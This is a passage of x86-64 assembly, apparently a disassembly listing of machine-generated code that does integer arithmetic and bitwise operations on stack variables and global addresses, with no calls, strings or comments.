mov rcx, qword [rsp + 0xacc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4234], eax
movzx eax, byte [rsp + 0x17b]
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0xad68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf24]
xor eax, ecx
mov word [rsp + 0xf08], ax
mov rax, qword [rsp + 0xb1e8]
mov eax, dword [rax]
mov dword [rsp + 0x4450], eax
mov rax, qword [0x14019d848]
mov rcx, qword [rsp + 0xb208]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4168], eax
lea rax, [rsp + 0x169]
mov qword [0x14019d9d0], rax
movsx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0xa6f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa7f8]
mov word [rcx], ax
lea rax, [0x14019d850]
mov qword [rsp + 0xb210], rax
mov rax, qword [rsp + 0xae58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
and eax, ecx
mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
lea rax, [rsp + 0x4214]
mov qword [rsp + 0xb218], rax
mov rax, qword [rsp + 0xa428]
mov ecx, dword [0x14019bf34]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb030]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa90]
mov rcx, qword [rsp + 0xac18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4328], eax
lea rax, [rsp + 0x429c]
mov qword [rsp + 0xb220], rax
mov rax, qword [rsp + 0xa770]
mov rcx, qword [rsp + 0xa600]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa718]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x172]
mov byte [rsp + 0x1ad], al
lea rax, [rsp + 0xf58]
mov qword [0x14019d9d8], rax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x4234]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x40f0], eax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0xac10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43e0], eax
mov rax, qword [rsp + 0xa698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x35fc], eax
mov rax, qword [0x14019d888]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4230], eax
movzx eax, byte [rsp + 0x16b]
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0xa640]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfcc]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x186]
shl eax, cl
mov rcx, qword [rsp + 0xb018]
mov byte [rcx], al
lea rax, [rsp + 0xfdc]
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0xabb8]
mov ecx, dword [0x14019d840]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019bf5c], eax
mov rax, qword [rsp + 0xa8f8]
mov ecx, dword [rsp + 0x41c0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xab58]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x19f]
mov byte [rsp + 0x1af], al
movzx eax, word [rsp + 0xf38]
mov rcx, qword [rsp + 0xae20]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf80], ax
lea rax, [rsp + 0x42f4]
mov qword [rsp + 0xb230], rax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xacc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x432c], eax
mov rax, qword [rsp + 0xadb0]
mov rcx, qword [rsp + 0xab78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4260], eax
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov dword [rsp + 0x4454], eax
movzx eax, byte [rsp + 0x156]
mov rcx, qword [rsp + 0xaac0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
mov rcx, qword [0x14019d8e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019bf54], ax
mov eax, dword [rsp + 0x41e0]
mov dword [rsp + 0x4458], eax
mov rax, qword [rsp + 0xa590]
mov rcx, qword [rsp + 0xa810]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb0e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov ecx, dword [0x14019d948]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4370], eax
mov eax, dword [rsp + 0x4408]
mov dword [rsp + 0x445c], eax
mov rax, qword [rsp + 0xb0e0]
mov ecx, dword [rsp + 0x3bf0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xafa8]
movzx eax, byte [rax]
mov byte [rsp + 0x1b0], al
movsx eax, word [rsp + 0xf9c]
movsx ecx, word [rsp + 0xee0]
sub eax, ecx
mov rcx, qword [rsp + 0xa6b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa640]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf54]
add eax, ecx
mov word [rsp + 0x102c], ax
lea rax, [rsp + 0x193]
mov qword [0x14019d9e0], rax
mov eax, dword [rsp + 0x4314]
mov dword [rsp + 0x4460], eax
mov eax, dword [rsp + 0x4228]
mov rcx, qword [rsp + 0xa8c8]
mov qword [rsp + 0xb238], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb238]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xaba0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
mov byte [rsp + 0x1b1], al
movzx eax, word [0x14019bf1c]
mov rcx, qword [rsp + 0xae68]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xac40]
mov word [rcx], ax
lea rax, [rsp + 0x41c8]
mov qword [rsp + 0xb240], rax
mov eax, dword [0x14019bf74]
mov ecx, dword [rsp + 0x4284]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4358], eax
mov rax, qword [rsp + 0xafc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x42ec]
shl eax, cl
mov rcx, qword [rsp + 0xb070]
mov dword [rcx], eax
lea rax, [rsp + 0x43d4]
mov qword [rsp + 0xb248], rax
mov rax, qword [rsp + 0xaa78]
movzx eax, byte [rax]
mov byte [0x14019d7b5], al
movzx eax, word [rsp + 0xf4c]
movzx ecx, word [rsp + 0xfcc]
and eax, ecx
mov word [rsp + 0xf0c], ax
mov eax, dword [rsp + 0x431c]
mov ecx, dword [rsp + 0x420c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x39a0], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x4328]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4414], eax
mov rax, qword [rsp + 0xabd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xafe8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0xaae0]
movzx eax, word [rax]
mov word [rsp + 0x1058], ax
movzx eax, word [rsp + 0xf50]
movzx ecx, word [0x14019bf54]
add eax, ecx
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0xb0b8]
movzx eax, byte [rax]
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0xb030]
mov rcx, qword [rsp + 0xace0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3ffc], eax
mov eax, dword [rsp + 0x42e8]
mov ecx, dword [0x14019d790]
add ecx, eax
mov eax, ecx
mov dword [0x14019bf40], eax
mov rax, qword [rsp + 0xaa10]
mov rcx, qword [rsp + 0xa4a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3af4], eax
mov rax, qword [rsp + 0xaba0]
mov eax, dword [rax]
mov dword [rsp + 0x4464], eax
mov rax, qword [0x14019d848]
mov rcx, qword [rsp + 0xaff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41dc], eax
mov rax, qword [rsp + 0xaed0]
movzx eax, word [rax]
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0xa940]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa838]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad18]
mov byte [rcx], al
mov rax, qword [rsp + 0xa948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4448]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa600]
mov dword [rcx], eax
lea rax, [rsp + 0x4190]
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0xacd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4198]
shl eax, cl
mov rcx, qword [rsp + 0xaec0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x43d8]
movzx ecx, al
mov eax, dword [0x14019bf18]
sar eax, cl
mov dword [0x14019bf40], eax
lea rax, [rsp + 0x189]
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xad10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad88]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xab90]
mov word [rcx], ax
lea rax, [0x14019bf24]
mov qword [rsp + 0xb260], rax
movsx eax, byte [rsp + 0x184]
movsx ecx, byte [rsp + 0x16d]
and eax, ecx
mov rcx, qword [rsp + 0xad80]
mov byte [rcx], al
mov eax, dword [0x14019bef4]
mov ecx, dword [rsp + 0x4290]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov dword [rcx], eax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0xb268], rax
mov rax, qword [rsp + 0xb0b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa958]
mov byte [rcx], al
lea rax, [rsp + 0xfd8]
mov qword [rsp + 0xb270], rax
lea rax, [0x14019bf68]
mov qword [0x14019d9e8], rax
mov eax, dword [rsp + 0x4400]
mov ecx, dword [rsp + 0x3f98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3400], eax
mov eax, dword [rsp + 0x417c]
mov ecx, dword [rsp + 0x43d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41cc], eax
mov rax, qword [rsp + 0xb030]
mov eax, dword [rax]
mov dword [rsp + 0x4468], eax
movzx eax, byte [rsp + 0x1af]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0xaf40]
movzx eax, word [rax]
mov word [rsp + 0x1060], ax
mov rax, qword [rsp + 0xb0d0]
mov rcx, qword [0x14019d808]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4310], eax
mov eax, dword [rsp + 0x42b8]
mov ecx, dword [rsp + 0x4328]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x35fc], eax
lea rax, [rsp + 0x427c]
mov qword [rsp + 0xb278], rax
mov eax, dword [rsp + 0x3d34]
mov ecx, dword [0x14019befc]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d7d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4330]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
mov rax, qword [rsp + 0xabd8]
movzx eax, byte [rax]
mov byte [rsp + 0x1b3], al
movsx eax, word [0x14019bf04]
movsx ecx, word [rsp + 0xecc]
sar eax, cl
mov rcx, qword [rsp + 0xa5f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x191]
movzx ecx, byte [rsp + 0x190]
shl eax, cl
mov rcx, qword [rsp + 0xaac0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb100]
movzx eax, word [rax]
mov word [rsp + 0x1064], ax
mov rax, qword [rsp + 0xb040]
mov eax, dword [rax]
mov ecx, dword [0x14019bf68]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x418c], eax
mov rax, qword [rsp + 0xa6c8]
mov ecx, dword [rsp + 0x4438]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3b60], eax
movzx eax, byte [rsp + 0x191]
movzx ecx, byte [rsp + 0x18e]
and eax, ecx
mov byte [rsp + 0x18d], al
movzx eax, word [rsp + 0xfd8]
mov rcx, qword [rsp + 0xb0f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bf7c], ax
lea rax, [rsp + 0x443c]
mov qword [rsp + 0xb280], rax
mov eax, dword [rsp + 0x4434]
mov ecx, dword [rsp + 0x4384]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4200], eax
mov rax, qword [rsp + 0xa6a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d34], eax
lea rax, [rsp + 0x3c7c]
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0xaab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
sub eax, ecx
mov byte [rsp + 0x70], al
lea rax, [rsp + 0xf40]
mov qword [rsp + 0xb290], rax
mov rax, qword [rsp + 0xa600]
mov rcx, qword [rsp + 0xb0e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae90]
mov dword [rcx], eax
mov rax, qword [0x14019d7d8]
mov ecx, dword [rsp + 0x42cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42ec], eax
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xfec]
and eax, ecx
mov word [0x14019bf80], ax
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0xb298], rax
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1008]
add eax, ecx
mov word [rsp + 0xedc], ax
mov rax, qword [rsp + 0xa970]
movzx eax, byte [rax]
mov byte [rsp + 0x1b4], al
mov rax, qword [rsp + 0xa748]
mov rcx, qword [0x14019d9b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c00]
mov rcx, qword [rsp + 0xaf28]
mov qword [rsp + 0xb2a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4228], eax
mov eax, dword [rsp + 0x4260]
mov dword [rsp + 0x446c], eax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb0a8]
mov qword [rsp + 0xb2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4414], eax
mov eax, dword [rsp + 0x4438]
mov dword [rsp + 0x4470], eax
mov rax, qword [rsp + 0xa500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab18]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa548]
mov word [rcx], ax
mov rax, qword [rsp + 0xa958]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
sub eax, ecx
mov byte [0x14019d7b4], al
lea rax, [rsp + 0x418c]
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0xadc0]
mov rcx, qword [rsp + 0xb1a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa810]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadb0]
mov rcx, qword [rsp + 0xaa50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42b8], eax
mov rax, qword [rsp + 0xb0d8]
mov eax, dword [rax]
mov dword [rsp + 0x4474], eax
movzx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0xada8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfbc], ax
movzx eax, byte [rsp + 0x157]
mov byte [rsp + 0x1b5], al
movsx eax, word [rsp + 0xd48]
mov rcx, qword [rsp + 0xb088]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa70]
mov word [rcx], ax
mov rax, qword [rsp + 0xb298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17e]
add eax, ecx
mov byte [rsp + 0x18f], al
mov rax, qword [rsp + 0xabb8]
mov ecx, dword [rsp + 0x41f0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf70], eax
mov eax, dword [rsp + 0x4384]
mov dword [rsp + 0x4478], eax
mov rax, qword [rsp + 0xb130]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x163], al
mov rax, qword [rsp + 0xa648]
movzx eax, word [rax]
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0xaa90]
mov ecx, dword [rsp + 0x437c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b8], eax
mov rax, qword [rsp + 0xb008]
mov ecx, dword [rsp + 0x41d8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov eax, dword [0x14019bf40]
mov dword [rsp + 0x447c], eax
mov eax, dword [rsp + 0x41dc]
movzx ecx, al
mov eax, dword [rsp + 0x437c]
sar eax, cl
mov dword [rsp + 0x41f4], eax
mov rax, qword [rsp + 0xad18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa780]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x12e], al
movzx eax, word [rsp + 0xfc0]
mov word [0x14019d9f0], ax
mov rax, qword [rsp + 0xb170]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4070]
shl eax, cl
mov dword [rsp + 0x422c], eax
mov rax, qword [rsp + 0xb058]
mov ecx, dword [rsp + 0x4408]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa820]
mov dword [rcx], eax
lea rax, [rsp + 0x40e4]
mov qword [rsp + 0xb2b8], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x42d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cbc], eax
mov rax, qword [rsp + 0xb058]
mov eax, dword [rax]
mov dword [rsp + 0x4480], eax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xabd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0xa688]
movzx eax, word [rax]
mov word [rsp + 0x106c], ax
movzx eax, word [rsp + 0xf40]
movzx ecx, word [rsp + 0x1010]
and eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
lea rax, [rsp + 0x1a4]
mov qword [0x14019d9f8], rax
mov rax, qword [rsp + 0xad40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3348]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4190], eax
lea rax, [rsp + 0x3418]
mov qword [rsp + 0xb2c0], rax
movzx eax, byte [rsp + 0x1b5]
movzx ecx, byte [rsp + 0x193]
sub eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0xb010]
movzx eax, word [rax]
mov word [rsp + 0x1070], ax
mov rax, qword [rsp + 0xadb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa870]
mov eax, dword [rax]
mov ecx, dword [0x14019bf10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4230], eax
mov eax, dword [rsp + 0x4240]
mov dword [rsp + 0x4484], eax
mov rax, qword [rsp + 0xa950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa8e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bef3], al
lea rax, [rsp + 0xf5c]
mov qword [rsp + 0xb2c8], rax
mov rax, qword [rsp + 0xa678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4428]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4188], eax
mov rax, qword [rsp + 0xa5d0]
movzx eax, word [rax]
mov word [rsp + 0x1074], ax
mov rax, qword [rsp + 0xa818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad60]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x16f], al
lea rax, [rsp + 0x18b]
mov qword [rsp + 0xb2d0], rax
mov rax, qword [rsp + 0xa648]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb8]
xor eax, ecx
mov word [rsp + 0xfb0], ax
lea rax, [rsp + 0x42c8]
mov qword [rsp + 0xb2d8], rax
mov rax, qword [rsp + 0xb230]
mov eax, dword [rax]
mov ecx, dword [0x14019d920]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4270]
sar eax, cl
mov dword [rsp + 0x4268], eax
mov rax, qword [rsp + 0xae98]
mov ecx, dword [0x14019bf34]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xab50]
mov dword [rcx], eax
lea rax, [rsp + 0x4398]
mov qword [rsp + 0xb2e0], rax
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15d], al
lea rax, [rsp + 0xf54]
mov qword [rsp + 0xb2e8], rax
mov eax, dword [rsp + 0x43d4]
mov ecx, dword [0x14019bf40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa650]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaad8]
mov eax, dword [rax]
mov dword [rsp + 0x4488], eax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x416c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf84], eax
mov rax, qword [rsp + 0xac08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf34]
sub eax, ecx
mov word [rsp + 0xf1c], ax
mov rax, qword [0x14019d858]
movzx eax, byte [rax]
mov byte [rsp + 0x1b6], al
mov rax, qword [rsp + 0xab20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0xa7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf84]
sub eax, ecx
mov word [rsp + 0xf74], ax
lea rax, [rsp + 0x3dd0]
mov qword [rsp + 0xb2f0], rax
mov eax, dword [rsp + 0x440c]
mov ecx, dword [rsp + 0x4394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42d4], eax
lea rax, [rsp + 0xf24]
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0xab68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadc8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa8e0]
mov byte [rcx], al
lea rax, [rsp + 0x425c]
mov qword [0x14019da00], rax
mov rax, qword [rsp + 0xae08]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xaa08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb058]
mov eax, dword [rax]
mov dword [rsp + 0x448c], eax
mov eax, dword [rsp + 0x4340]
mov rcx, qword [rsp + 0xb048]
mov qword [rsp + 0xb300], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb300]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3e24], eax
movzx eax, byte [rsp + 0x1a6]
mov byte [rsp + 0x1b7], al
mov rax, qword [rsp + 0xaed0]
movzx eax, word [rax]
movzx ecx, word [0x14019bf1c]
shl eax, cl
mov word [rsp + 0x1010], ax
mov eax, dword [rsp + 0x441c]
mov ecx, dword [rsp + 0x4278]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa4], eax
mov rax, qword [rsp + 0xafe0]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [0x14019d888]
mov ecx, dword [rsp + 0x4314]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0xad30]
mov rcx, qword [rsp + 0xa668]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d7e0], eax
mov rax, qword [rsp + 0xa8d0]
mov eax, dword [rax]
mov dword [rsp + 0x4490], eax
mov rax, qword [rsp + 0xa9b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x166], al
lea rax, [rsp + 0x1014]
mov qword [rsp + 0xb308], rax
mov rax, qword [rsp + 0xae28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff4]
and eax, ecx
mov word [rsp + 0x1018], ax
mov rax, qword [rsp + 0xa838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16a], al
mov eax, dword [rsp + 0x431c]
mov dword [rsp + 0x4494], eax
mov rax, qword [rsp + 0xae80]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaaf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb050]
movzx eax, word [rax]
mov word [rsp + 0x1078], ax
mov rax, qword [rsp + 0xaa58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bf0b], al
mov rax, qword [0x14019d7d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4364]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa568]
mov dword [rcx], eax
mov eax, dword [rsp + 0x421c]
mov ecx, dword [rsp + 0x3af4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d4], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov dword [rsp + 0x4498], eax
mov eax, dword [0x14019d800]
movzx ecx, al
mov eax, dword [rsp + 0x3b2c]
shl eax, cl
mov dword [rsp + 0x4130], eax
lea rax, [rsp + 0xf08]
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb020]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0xaa10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3af4]
sar eax, cl
mov rcx, qword [rsp + 0xb038]
mov dword [rcx], eax
lea rax, [rsp + 0x4318]
mov qword [rsp + 0xb318], rax
movsx eax, word [rsp + 0xa94]
movsx ecx, word [rsp + 0xed8]
and eax, ecx
mov word [0x14019bf64], ax
mov rax, qword [rsp + 0xad60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaeb8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14b], al
lea rax, [rsp + 0xf6c]
mov qword [rsp + 0xb320], rax
movzx eax, byte [rsp + 0x164]
mov rcx, qword [rsp + 0xb148]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x119], al
mov rax, qword [0x14019da00]
mov eax, dword [rax]
mov dword [rsp + 0x449c], eax
mov rax, qword [rsp + 0xae10]
mov ecx, dword [rsp + 0x3f5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42f8], eax
mov eax, dword [rsp + 0x42ac]
mov ecx, dword [rsp + 0x43e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
lea rax, [rsp + 0x438c]
mov qword [rsp + 0xb328], rax
mov eax, dword [rsp + 0x41c0]
mov ecx, dword [rsp + 0x4150]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4384], eax
lea rax, [rsp + 0x177]
